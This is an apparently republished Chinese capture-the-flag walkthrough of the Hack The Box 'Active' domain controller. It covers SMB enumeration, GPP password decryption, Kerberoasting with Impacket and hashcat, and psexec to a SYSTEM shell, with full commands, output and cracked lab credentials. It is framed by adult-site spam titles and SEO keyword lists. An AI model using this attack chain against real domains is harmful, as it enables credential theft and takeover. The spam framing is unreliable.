成人在线你懂的-成人在线免费小视频-成人在线免费网站-成人在线免费视频观看-日韩精品国产一区二区-日韩精品国产一区

掃一掃
關(guān)注微信公眾號(hào)

活動(dòng)目錄下的常見攻擊方式
2019-01-13   4hou

Active是一個(gè)很簡(jiǎn)單的box，不過也提供了很多學(xué)習(xí)的機(jī)會(huì)。這個(gè)box包含了很多與Windows活動(dòng)目錄相關(guān)的常見漏洞。你可以在這個(gè)box中進(jìn)行SMB枚舉，這是一個(gè)不錯(cuò)的練習(xí)機(jī)會(huì)。你也可以對(duì)Windows域使用kerberoasting，但如果你不是滲透測(cè)試員的話，是沒有機(jī)會(huì)這么做的。

Box詳情

偵察

  • Nmap

  • SMB

-SMB枚舉

-列出共享

共享復(fù)制-SMB

  • 遍歷

  • GPP密碼

  • 破解GPP密碼

用戶共享-SMB

Kerberoasting

  • 背景

  • 獲取哈希

  • 使用Hashcat破解

管理員權(quán)限

  • 共享遍歷

  • 獲取root.txt

  • System shell

Box詳情：

偵察

Nmap

Nmap結(jié)果顯示這是一臺(tái)Windows 2008 R2服務(wù)器，而且是活動(dòng)目錄域控。



    

  1. 

    root@kali:~/hackthebox/active-10.10.10.100# nmap -sT -p- --min-rate 5000 -oA nmap/alltcp 10.10.10.100 
    

    2. 

  2. 

    Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 21:35 EDT 
    

    3. 

  3. 

    Nmap scan report for 10.10.10.100                            
    

    4. 

  4. 

    Host is up (0.020s latency).                                                                                               
    

    5. 

  5. 

    Not shown: 65512 closed ports  
    

    6. 

  6. 

    PORT      STATE SERVICE    
    

    7. 

  7. 

    53/tcp    open  domain 
    

    8. 

  8. 

    88/tcp    open  kerberos-sec 
    

    9. 

  9. 

    135/tcp   open  msrpc 
    

    10. 

  10. 

    139/tcp   open  netbios-ssn 
    

    11. 

  11. 

    389/tcp   open  ldap 
    

    12. 

  12. 

    445/tcp   open  microsoft-ds 
    

    13. 

  13. 

    464/tcp   open  kpasswd5 
    

    14. 

  14. 

    593/tcp   open  http-rpc-epmap              
    

    15. 

  15. 

    636/tcp   open  ldapssl                                         
    

    16. 

  16. 

    3268/tcp  open  globalcatLDAP 
    

    17. 

  17. 

    3269/tcp  open  globalcatLDAPssl                     
    

    18. 

  18. 

    5722/tcp  open  msdfsr                               
    

    19. 

  19. 

    9389/tcp  open  adws 
    

    20. 

  20. 

    47001/tcp open  winrm 
    

    21. 

  21. 

    49152/tcp open  unknown 
    

    22. 

  22. 

    49153/tcp open  unknown                              
    

    23. 

  23. 

    49154/tcp open  unknown 
    

    24. 

  24. 

    49155/tcp open  unknown 
    

    25. 

  25. 

    49157/tcp open  unknown 
    

    26. 

  26. 

    49158/tcp open  unknown 
    

    27. 

  27. 

    49169/tcp open  unknown 
    

    28. 

  28. 

    49170/tcp open  unknown 
    

    29. 

  29. 

    49179/tcp open  unknown 
    

    30. 

  30. 

                                                                                                 
    

    31. 

  31. 

    Nmap done: 1 IP address (1 host up) scanned in 13.98 seconds 
    

    32. 

  32. 

     
    

    33. 

  33. 

    root@kali:~/hackthebox/active-10.10.10.100# nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152-49158,49169,49170,49179 --min-rate 5 
    

    34. 

  34. 

    000 -oA nmap/scripts 10.10.10.100                    
    

    35. 

  35. 

    Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 21:37 EDT 
    

    36. 

  36. 

    Nmap scan report for 10.10.10.100                                                                                                                                 
    

    37. 

  37. 

    Host is up (0.020s latency).                
    

    38. 

  38. 

                            
    

    39. 

  39. 

    PORT      STATE  SERVICE       VERSION                                                         
    

    40. 

  40. 

    53/tcp    open   domain        Microsoft DNS 6.1.7600 (1DB04001) (Windows Server 2008 R2) 
    

    41. 

  41. 

    | dns-nsid: 
    

    42. 

  42. 

    |_  bind.version: Microsoft DNS 6.1.7600 (1DB04001) 
    

    43. 

  43. 

    88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2018-07-29 01:37:17Z) 
    

    44. 

  44. 

    135/tcp   open   msrpc         Microsoft Windows RPC 
    

    45. 

  45. 

    139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn 
    

    46. 

  46. 

    389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 
    

    47. 

  47. 

    445/tcp   open   microsoft-ds? 
    

    48. 

  48. 

    464/tcp   open   kpasswd5? 
    

    49. 

  49. 

    593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0 
    

    50. 

  50. 

    636/tcp   open   tcpwrapped 
    

    51. 

  51. 

    3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name) 
    

    52. 

  52. 

    3269/tcp  open   tcpwrapped 
    

    53. 

  53. 

    5722/tcp  open   msrpc         Microsoft Windows RPC 
    

    54. 

  54. 

    9389/tcp  open   mc-nmf        .NET Message Framing 
    

    55. 

  55. 

    47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) 
    

    56. 

  56. 

    |_http-server-header: Microsoft-HTTPAPI/2.0 
    

    57. 

  57. 

    |_http-title: Not Found 
    

    58. 

  58. 

    49152/tcp open   msrpc         Microsoft Windows RPC 
    

    59. 

  59. 

    49153/tcp open   msrpc         Microsoft Windows RPC 
    

    60. 

  60. 

    49154/tcp open   msrpc         Microsoft Windows RPC 
    

    61. 

  61. 

    49155/tcp open   msrpc         Microsoft Windows RPC 
    

    62. 

  62. 

    49156/tcp closed unknown 
    

    63. 

  63. 

    49157/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0 
    

    64. 

  64. 

    49158/tcp open   msrpc         Microsoft Windows RPC 
    

    65. 

  65. 

    49169/tcp open   msrpc         Microsoft Windows RPC 
    

    66. 

  66. 

    49170/tcp open   msrpc         Microsoft Windows RPC 
    

    67. 

  67. 

    49179/tcp open   msrpc         Microsoft Windows RPC 
    

    68. 

  68. 

    Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2, cpe:/o:microsoft:windows 
    

    69. 

  69. 

     
    

    70. 

  70. 

    Host script results: 
    

    71. 

  71. 

    |_clock-skew: mean: -35s, deviation: 0s, median: -35s 
    

    72. 

  72. 

    |_nbstat: NetBIOS name: DC, NetBIOS user: <unknown>, NetBIOS MAC: 00:50:56:a2:16:8b (VMware) 
    

    73. 

  73. 

    | smb2-security-mode: 
    

    74. 

  74. 

    |   2.02: 
    

    75. 

  75. 

    |_    Message signing enabled and required 
    

    76. 

  76. 

    | smb2-time: 
    

    77. 

  77. 

    |   date: 2018-07-28 21:38:11 
    

    78. 

  78. 

    |_  start_date: 2018-07-28 15:00:50 
    

    79. 

  79. 

     
    

    80. 

  80. 

    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . 
    

    81. 

  81. 

    Nmap done: 1 IP address (1 host up) scanned in 150.56 seconds 
    

    82. 

  82. 

     
    

    83. 

  83. 

    root@kali:~/hackthebox/active-10.10.10.100# nmap -sU -p- --min-rate 5000 -oA nmap/alludp 10.10.10.100 
    

    84. 

  84. 

    Starting Nmap 7.70 ( https://nmap.org ) at 2018-07-28 21:40 EDT 
    

    85. 

  85. 

    Warning: 10.10.10.100 giving up on port because retransmission cap hit (10). 
    

    86. 

  86. 

    Nmap scan report for 10.10.10.100 
    

    87. 

  87. 

    Host is up (0.021s latency). 
    

    88. 

  88. 

    Not shown: 65385 open|filtered ports, 145 closed ports 
    

    89. 

  89. 

    PORT      STATE SERVICE 
    

    90. 

  90. 

    123/udp   open  ntp 
    

    91. 

  91. 

    137/udp   open  netbios-ns 
    

    92. 

  92. 

    49413/udp open  unknown 
    

    93. 

  93. 

    49616/udp open  unknown 
    

    94. 

  94. 

    65096/udp open  unknown 
    

    95. 



SMB-TCP 139/445


SMB遍歷


如果是一臺(tái)Windows主機(jī)，那么我會(huì)看看SMB。一般我都會(huì)使用多種工具來對(duì)主機(jī)進(jìn)行SMB遍歷。我還寫了一篇博客，講解各種SMB遍歷的工具。然后lppsec又告訴我一個(gè)工具smbmap，那會(huì)兒我剛寫完那篇博客，剛剛更新完SMB枚舉checklist，不過我又去編輯那篇博客，添加了smbmap這個(gè)工具的使用原理和使用步驟。


列出共享


我剛開始使用enum4linux這個(gè)工具進(jìn)行了枚舉，但是這個(gè)工具有個(gè)問題，它dump了一堆信息，不過大多時(shí)候，這些信息都沒什么用。返回來的信息都很難理解，下面是輸出結(jié)果中比較有用的部分：




    

  1. 

    root@kali:/opt/ad-ldap-enum# enum4linux -a 10.10.10.100 
    

    2. 

  2. 

    ...[snip]... 
    

    3. 

  3. 

     ========================================= 
    

    4. 

  4. 

    |    Share Enumeration on 10.10.10.100    | 
    

    5. 

  5. 

     ========================================= 
    

    6. 

  6. 

     
    

    7. 

  7. 

            Sharename       Type      Comment 
    

    8. 

  8. 

            ---------       ----      ------- 
    

    9. 

  9. 

            ADMIN$          Disk      Remote Admin 
    

    10. 

  10. 

            C$              Disk      Default share 
    

    11. 

  11. 

            IPC$            IPC       Remote IPC 
    

    12. 

  12. 

            NETLOGON        Disk      Logon server share 
    

    13. 

  13. 

            Replication     Disk 
    

    14. 

  14. 

            SYSVOL          Disk      Logon server share 
    

    15. 

  15. 

            Users           Disk 
    

    16. 

  16. 

    Reconnecting with SMB1 for workgroup listing. 
    

    17. 

  17. 

    Connection to 10.10.10.100 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND) 
    

    18. 

  18. 

    Failed to connect with SMB1 -- no workgroup available 
    

    19. 

  19. 

     
    

    20. 

  20. 

    [+] Attempting to map shares on 10.10.10.100 
    

    21. 

  21. 

    //10.10.10.100/ADMIN$   Mapping: DENIED, Listing: N/A 
    

    22. 

  22. 

    //10.10.10.100/C$       Mapping: DENIED, Listing: N/A 
    

    23. 

  23. 

    //10.10.10.100/IPC$     Mapping: OK     Listing: DENIED 
    

    24. 

  24. 

    //10.10.10.100/NETLOGON Mapping: DENIED, Listing: N/A 
    

    25. 

  25. 

    //10.10.10.100/Replication      Mapping: OK, Listing: OK 
    

    26. 

  26. 

    //10.10.10.100/SYSVOL   Mapping: DENIED, Listing: N/A 
    

    27. 

  27. 

    //10.10.10.100/Users    Mapping: DENIED, Listing: N/A 
    

    28. 

  28. 

    ...[snip]... 
    

    29. 



而smbmap工具的輸出結(jié)果就非常清楚，一目了然，如圖所示，還顯示了我們不經(jīng)認(rèn)證就有Replication Share的讀取權(quán)限




    

  1. 

    root@kali:~/hackthebox/active-10.10.10.100# smbmap -H 10.10.10.100 
    

    2. 

  2. 

    [+] Finding open SMB ports.... 
    

    3. 

  3. 

    [+] User SMB session establishd on 10.10.10.100... 
    

    4. 

  4. 

    [+] IP: 10.10.10.100:445        Name: 10.10.10.100                                       
    

    5. 

  5. 

            Disk                                                    Permissions 
    

    6. 

  6. 

            ----                                                    ----------- 
    

    7. 

  7. 

            ADMIN$                                                  NO ACCESS 
    

    8. 

  8. 

            C$                                                      NO ACCESS 
    

    9. 

  9. 

            IPC$                                                    NO ACCESS 
    

    10. 

  10. 

            NETLOGON                                                NO ACCESS 
    

    11. 

  11. 

            Replication                                             READ ONLY 
    

    12. 

  12. 

            SYSVOL                                                  NO ACCESS 
    

    13. 

  13. 

            Users                                                   NO ACCESS 
    

    14. 



Replication share –SMB


枚舉


因?yàn)槲铱梢圆挥妹艽a就直接訪問\\10.10.10.100\Replication，我將使用smbclient來連接并查看一番。




    

  1. 

    root@kali:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/Replication -U ""%"" 
    

    2. 

  2. 

    Try "help" to get a list of possible commands.                             
    

    3. 

  3. 

    smb: \> 
    

    4. 



或者，我也可以使用smbmap來遞歸列出share中的所有文件，命令如下：




    

  1. smbmap -H 10.10.10.100 -R 
    2. 



哪種方法都行，我注意到了一個(gè)很有意思的文件Groups.xml，內(nèi)容如下：




    

  1. smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> ls 
    2. 

  2.   .                                   D        0  Sat Jul 21 06:37:44 2018 
    3. 

  3.   ..                                  D        0  Sat Jul 21 06:37:44 2018 
    4. 

  4.   Groups.xml                          A      533  Wed Jul 18 16:46:06 2018 
    5. 



它有username和cpassword字段：




    

  1. <?xml version="1.0" encoding="utf-8"?><Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"> 
    2. 

  2.   <User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"> 
    3. 

  3.     <Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/> 
    4. 

  4.   </User></Groups> 
    5. 



GPP密碼


只要?jiǎng)?chuàng)建了一個(gè)新的GPP(組策略首選項(xiàng))，都會(huì)在SYSVOL share中創(chuàng)建一個(gè)數(shù)據(jù)配置的xml文件，包括任何與GPP相關(guān)的密碼。不過，為了安全起見，在存儲(chǔ)之前，Microsoft AES對(duì)密碼進(jìn)行了加密處理。但是，Microsoft又在MSDN上發(fā)布了秘鑰。


微軟在2014年發(fā)布了一個(gè)補(bǔ)丁，防止管理員將密碼寫入GPP。但是這個(gè)補(bǔ)丁對(duì)于那些已存在的可破解的密碼不起任何作用。而且據(jù)我所知，滲透測(cè)試員在2018年也經(jīng)常能夠發(fā)現(xiàn)這些秘鑰。更多詳情，請(qǐng)看這篇博客：AD security。


破解GPP密碼


既然得到了秘鑰，我們就可以進(jìn)行破解了。Kali上有一個(gè)工具gpp-decrypt可以破解：




    

  1. root@kali:~/hackthebox/active-10.10.10.100/smb-loot# gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ 
    2. 

  2. GPPstillStandingStrong2k18 
    3. 



用戶共享-SMB


有了用戶名和密碼，我又能多訪問3個(gè)share了。




    

  1. root@kali:~/hackthebox/active-10.10.10.100/smb-loot# smbmap -H 10.10.10.100 -d active.htb -u SVC_TGS -p GPPstillStandingStrong2k18 
    2. 

  2. [+] Finding open SMB ports.... 
    3. 

  3. [+] User SMB session establishd on 10.10.10.100... 
    4. 

  4. [+] IP: 10.10.10.100:445    Name: 10.10.10.100                                       
    5. 

  5.         Disk                  Permissions 
    6. 

  6.         ----                  ----------- 
    7. 

  7.         ADMIN$                 NO ACCESS 
    8. 

  8.         C$                    NO ACCESS 
    9. 

  9.         IPC$                   NO ACCESS 
    10. 

  10.         NETLOGON                READ ONLY 
    11. 

  11.         Replication               READ ONLY 
    12. 

  12.         SYSVOL                 READ ONLY 
    13. 

  13.         Users                  READ ONLY 
    14. 



當(dāng)我連接到用戶共享時(shí)，看起來有點(diǎn)像是C:\Users\目錄，事實(shí)上就是這個(gè)目錄：




    

  1. root@kali:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/Users -U active.htb\\SVC_TGS%GPPstillStandingStrong2k18                                                                                                          
    2. 

  2. Try "help" to get a list of possible commands. 
    3. 

  3. smb: \> dir 
    4. 

  4.   .           DR        0  Sat Jul 21 10:39:20 2018 
    5. 

  5.   ..           DR        0  Sat Jul 21 10:39:20 2018 
    6. 

  6.   Administrator     D         0  Mon Jul 16 06:14:21 2018 
    7. 

  7.   All Users       DHS        0  Tue Jul 14 01:06:44 2009 
    8. 

  8.   Default        DHR        0  Tue Jul 14 02:38:21 2009 
    9. 

  9.   Default User     DHS        0  Tue Jul 14 01:06:44 2009 
    10. 

  10.   desktop.ini      AHS        174  Tue Jul 14 00:57:55 2009 
    11. 

  11.   Public         DR        0  Tue Jul 14 00:57:55 2009 
    12. 

  12.   SVC_TGS         D         0  Sat Jul 21 11:16:32 2018 
    13. 

  13.  
    14. 

  14.       10459647 blocks of size 4096. 6308502 blocks available 
    15. 



這樣一來，我們就有足夠的權(quán)限來訪問user.txt文件了。




    

  1. smb: \SVC_TGS\desktop\> get user.txt 
    2. 

  2. getting file \SVC_TGS\desktop\user.txt of size 34 as user.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec) 
    3. 

  3. root@kali:~/hackthebox/active-10.10.10.100# cat user.txt 
    4. 

  4. 86d67d8b... 
    5. 



Kerberoasting


背景


Kerberos是Windows活動(dòng)目錄環(huán)境中用于身份認(rèn)證的協(xié)議（當(dāng)然它也可以用于Linux主機(jī)的身份認(rèn)證）。2014年，Tim Medin演示了對(duì)kerberos的攻擊，他把這種攻擊叫做kerberoasting。這個(gè)演示非常值得一看，因?yàn)門im用了圖文并茂的方式闡述了攻擊過程。這里我會(huì)嘗試簡(jiǎn)單回顧一下。


如果你要使用Kerberos對(duì)某些服務(wù)進(jìn)行身份驗(yàn)證，你需要聯(lián)系DC并告訴它要對(duì)哪個(gè)系統(tǒng)服務(wù)進(jìn)行身份驗(yàn)證。它會(huì)使用服務(wù)用戶的密碼哈希對(duì)response進(jìn)行加密然后返回給你。你再把該response發(fā)送給服務(wù)，該服務(wù)可以使用密碼對(duì)其進(jìn)行解密，檢查你的身份，并確定是否允許你進(jìn)入。


在Kerberoasting攻擊中，你不會(huì)將encrypted ticket從DC發(fā)送到服務(wù)，而是使用離線暴力來破解與服務(wù)相關(guān)的密碼。


獲取哈希


我將使用IMpacket工具中的GetUserSPNs.py腳本來獲取與普通用戶帳戶關(guān)聯(lián)的服務(wù)用戶名列表。它也會(huì)得到一個(gè)我可以破解的ticket。


該腳本跑完之后識(shí)別出了一個(gè)用戶，而且是管理員：




    

  1. root@kali:~/hackthebox/active-10.10.10.100# GetUserSPNs.py -request -dc-ip 10.10.10.100 active.htb/SVC_TGS -save -outputfile GetUserSPNs.out 
    2. 

  2. Impacket v0.9.16-dev - Copyright 2002-2018 Core Security Technologies 
    3. 

  3.  
    4. 

  4. Password: 
    5. 

  5. ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet      LastLogon            
    6. 

  6. --------------------  -------------  --------------------------------------------------------  -------------------  ------------------- 
    7. 

  7. active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40  2018-07-21 11:05:53 
    8. 



它也返回了一個(gè)ticket，我就可以嘗試暴力破解來得到用戶的密碼：




    

  1. root@kali:~/hackthebox/active-10.10.10.100# cat GetUserSPNs.out  
    2. 

  2. $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$7028f37607953ce9fd6c9060de4aece5$55e2d21e37623a43d8cd5e36e39bfaffc52abead3887ca728d527874107ca042e0e9283ac478b1c91cab58c9184828e7a5e0af452ad2503e463ad2088ba97964f65ac10959a3826a7f99d2d41e2a35c5a2c47392f160d65451156893242004cb6e3052854a9990bac4deb104f838f3e50eca3ba770fbed089e1c91c513b7c98149af2f9a994655f5f13559e0acb003519ce89fa32a1dd1c8c7a24636c48a5c948317feb38abe54f875ffe259b6b25a63007798174e564f0d6a09479de92e6ed98f0887e19b1069b30e2ed8005bb8601faf4e476672865310c6a0ea0bea1ae10caff51715aea15a38fb2c1461310d99d6916445d7254f232e78cf9288231e436ab457929f50e6d4f70cbfcfd2251272961ff422c3928b0d702dcb31edeafd856334b64f74bbe486241d752e4cf2f6160b718b87aa7c7161e95fab757005e5c80254a71d8615f4e89b0f4bd51575cc370e881a570f6e5b71dd14f50b8fd574a04978039e6f32d108fb4207d5540b4e58df5b8a0a9e36ec2d7fc1150bb41eb9244d96aaefb36055ebcdf435a42d937dd86b179034754d2ac4db28a177297eaeeb86c229d0f121cf04b0ce32f63dbaa0bc5eafd47bb97c7b3a14980597a9cb2d83ce7c40e1b864c3b3a77539dd78ad41aceb950a421a707269f5ac25b27d5a6b7f334d37acc7532451b55ded3fb46a4571ac27fc36cfad031675a85e0055d31ed154d1f273e18be7f7bc0c810f27e9e7951ccc48d976f7fa66309355422124ce6fda42f9df406563bc4c20d9005ba0ea93fac71891132113a15482f3d952d54f22840b7a0a6000c8e8137e04a898a4fd1d87739bf5428d748086f0166b35c181729cc62b41ba6a9157333bb77c9e03dc9ac23782cf5dcebd11faad8ca3e3e74e25f21dc04ba9f1703bd51d100051c8f505cc8085056b94e349b57906ee8deaf026b3daa89e7c3fc747a6a31ae08376da259f3118370bef86b6e7c2f88d66400eccb122dec8028223f6dcde29ffaa5b83ecb1c3780a782a5797c527a26a7b51b62db3e4865ebc2a0a0d2c931550decb3e7ae581b59f070dd33e423a90ec2ef66982a1b6336afe968fa93f5dd2880a313dc05d4e5cf104b6d9a8316b9fe3dc16e057e0f5c835e111ab92795fb0033541916a57df8f8e6b8cc25ecff2775282ccee110c49376c2cec6b7bb95c265f1466994da89e69605594ead28d24212a137ee20197d8aa95f243c347e02616f40f4071c33f749f5b94d1259fd32174 
    3. 



使用Hashcat破解


我會(huì)在這個(gè)網(wǎng)址查找哈希類型，然后使用Hashcat進(jìn)行破解：




    

  1. ~/Dropbox/CTFs/hackthebox/active-10.10.10.100$ hashcat -m 13100 -a 0 GetUserSPNs.out /usr/share/wordlists/rockyou.txt --force                                        
    2. 

  2. hashcat (v4.0.1) starting...  
    3. 

  3. ...snip... 
    4. 

  4. $krb5tgs$23$*Administrator$ACTIVE.HTB$active/CIFS~445*$7028f37607953ce9fd6c9060de4aece5$55e2d21e37623a43d8cd5e36e39bfaffc52abead3887ca728d527874107ca042e0e9283ac478b1c91cab58c9 
    5. 

  5. 184828e7a5e0af452ad2503e463ad2088ba97964f65ac10959a3826a7f99d2d41e2a35c5a2c47392f160d65451156893242004cb6e3052854a9990bac4deb104f838f3e50eca3ba770fbed089e1c91c513b7c98149af2f9a 
    6. 

  6. 994655f5f13559e0acb003519ce89fa32a1dd1c8c7a24636c48a5c948317feb38abe54f875ffe259b6b25a63007798174e564f0d6a09479de92e6ed98f0887e19b1069b30e2ed8005bb8601faf4e476672865310c6a0ea0b 
    7. 

  7. ea1ae10caff51715aea15a38fb2c1461310d99d6916445d7254f232e78cf9288231e436ab457929f50e6d4f70cbfcfd2251272961ff422c3928b0d702dcb31edeafd856334b64f74bbe486241d752e4cf2f6160b718b87aa 
    8. 

  8. 7c7161e95fab757005e5c80254a71d8615f4e89b0f4bd51575cc370e881a570f6e5b71dd14f50b8fd574a04978039e6f32d108fb4207d5540b4e58df5b8a0a9e36ec2d7fc1150bb41eb9244d96aaefb36055ebcdf435a42d 
    9. 

  9. 937dd86b179034754d2ac4db28a177297eaeeb86c229d0f121cf04b0ce32f63dbaa0bc5eafd47bb97c7b3a14980597a9cb2d83ce7c40e1b864c3b3a77539dd78ad41aceb950a421a707269f5ac25b27d5a6b7f334d37acc7 
    10. 

  10. 532451b55ded3fb46a4571ac27fc36cfad031675a85e0055d31ed154d1f273e18be7f7bc0c810f27e9e7951ccc48d976f7fa66309355422124ce6fda42f9df406563bc4c20d9005ba0ea93fac71891132113a15482f3d952 
    11. 

  11. d54f22840b7a0a6000c8e8137e04a898a4fd1d87739bf5428d748086f0166b35c181729cc62b41ba6a9157333bb77c9e03dc9ac23782cf5dcebd11faad8ca3e3e74e25f21dc04ba9f1703bd51d100051c8f505cc8085056b 
    12. 

  12. 94e349b57906ee8deaf026b3daa89e7c3fc747a6a31ae08376da259f3118370bef86b6e7c2f88d66400eccb122dec8028223f6dcde29ffaa5b83ecb1c3780a782a5797c527a26a7b51b62db3e4865ebc2a0a0d2c931550de 
    13. 

  13. cb3e7ae581b59f070dd33e423a90ec2ef66982a1b6336afe968fa93f5dd2880a313dc05d4e5cf104b6d9a8316b9fe3dc16e057e0f5c835e111ab92795fb0033541916a57df8f8e6b8cc25ecff2775282ccee110c49376c2c 
    14. 

  14. ec6b7bb95c265f1466994da89e69605594ead28d24212a137ee20197d8aa95f243c347e02616f40f4071c33f749f5b94d1259fd32174:Ticketmaster1968 
    15. 



管理員權(quán)限


Share枚舉


現(xiàn)在，有了管理員的密碼，我們幾乎可以訪問所有的shares，包括C$，這會(huì)提供整個(gè)文件系統(tǒng)：




    

  1. root@kali:~/hackthebox/active-10.10.10.100/smb-loot# smbmap -H 10.10.10.100 -d active.htb -u administrator -p Ticketmaster1968 
    2. 

  2. [+] Finding open SMB ports.... 
    3. 

  3. [+] User SMB session establishd on 10.10.10.100... 
    4. 

  4. [+] IP: 10.10.10.100:445        Name: 10.10.10.100                                       
    5. 

  5.         Disk                                                    Permissions 
    6. 

  6.         ----                                                    ----------- 
    7. 

  7.         ADMIN$                                                  READ, WRITE 
    8. 

  8.         C$                                                      READ, WRITE 
    9. 

  9.         IPC$                                                    NO ACCESS 
    10. 

  10.         NETLOGON                                                READ, WRITE 
    11. 

  11.         Replication                                             READ ONLY 
    12. 

  12.         SYSVOL                                                  READ, WRITE 
    13. 

  13.         [!] Unable to remove test directory at \\10.10.10.100\SYSVOL\vnCfhEJMWA, plreae remove manually 
    14. 

  14.         Users                                                   READ ONLY 
    15. 



獲取root.txt


我可以使用smbclient或者smbmap來進(jìn)行連接并獲取root.txt文件：




    

  1. root@kali:~/hackthebox/active-10.10.10.100# smbclient //10.10.10.100/C$ -U active.htb\\administrator%Ticketmaster1968 
    2. 

  2. Try "help" to get a list of possible commands. 
    3. 

  3. smb: \> get \users\administrator\desktop\root.txt 
    4. 

  4. getting file \users\administrator\desktop\root.txt of size 34 as \users\administrator\desktop\root.txt (0.4 KiloBytes/sec) (average 0.4 KiloBytes/sec) 
    5. 

  5.  
    6. 

  6. root@kali:~/hackthebox/active-10.10.10.100# cat root.txt 
    7. 

  7. b5fc76d1... 
    8. 



這里值得注意的是，我甚至沒有獲取系統(tǒng)的shell就拿到了系統(tǒng)中的root flag。


System shell


但我當(dāng)然想getshell?，F(xiàn)在這些shares是可寫的，而且我有管理員權(quán)限，我可以使用PSExec來getshell。直接在kali上就有很多方法進(jìn)行提權(quán)，這里我還是使用Impacket這個(gè)工具，使用psexec.py這個(gè)腳本：




    

  1. root@kali:~/hackthebox/active-10.10.10.100# psexec.py active.htb/administrator@10.10.10.100 
    2. 

  2. Impacket v0.9.18-dev - Copyright 2002-2018 Core Security Technologies 
    3. 

  3.  
    4. 

  4. Password: 
    5. 

  5. [*] Requesting shares on 10.10.10.100..... 
    6. 

  6. [*] Found writable share ADMIN$ 
    7. 

  7. [*] Uploading file dMCaaHzA.exe 
    8. 

  8. [*] Opening SVCManager on 10.10.10.100..... 
    9. 

  9. [*] Creating service aYMa on 10.10.10.100..... 
    10. 

  10. [*] Starting service aYMa..... 
    11. 

  11. [!] Press help for extra shell commands 
    12. 

  12. Microsoft Windows [Version 6.1.7601] 
    13. 

  13. Copyright (c) 2009 Microsoft Corporation.  All rights reserved. 
    14. 

  14.  
    15. 

  15. C:\Windows\system32>whoami 
    16. 

  16. nt authority\system 
    17. 


                        
                                                
                                        


                        
                    

                    

                    熱詞搜索：                    

                    

                        上一篇：網(wǎng)絡(luò)安全攻防技術(shù)：移動(dòng)安全篇

                        下一篇：車聯(lián)網(wǎng)時(shí)代，傳統(tǒng)車廠該向互聯(lián)網(wǎng)產(chǎn)品經(jīng)理們學(xué)習(xí)什么？
                    


                  

                      分享到：
                      
                      
                      
                      
                      
                      
                  
                      
                        收藏
                      
					

                    
				

			

                
 		

		

		
		
		

	














主站蜘蛛池模板：
安志杰电影全集大全|
成年黄色在线观看|
美女网站视频免费黄|
回收名表价格查询|
公公媳妇电影|
邻家花美男 电视剧|
秀场视频高清完整版|
防冲撞应急处置预案|
欧美吻戏视频|
伊人1314|
神经刀|
急招55岁左右男司机|
我的极品女神 电影|
刘慧茹|
口述公交车上|
karina hart|
警察英雄|
dearestblue动漫免费观看|
王卓淇|
乳糖不耐受奶粉推荐|
腾格尔演的喜剧电影|
视频污污|
父子激情视频|
管路通|
诺曼瑞杜斯|
蓝眼泪简谱|
生产时直拍宫口|
电影《志愿者》观后感|
电视剧暗战在拂晓之前演员表|
铁拳男人 电影|
网页抖音|
爱来的刚好演员表|
孙东杓|
原华个人图片|
出轨的女人电影|
免费看污污|
驯服型男刑警队长|
风月电视剧免费观看剧情
|
色女孩视频|
千面魔女|
美女出水|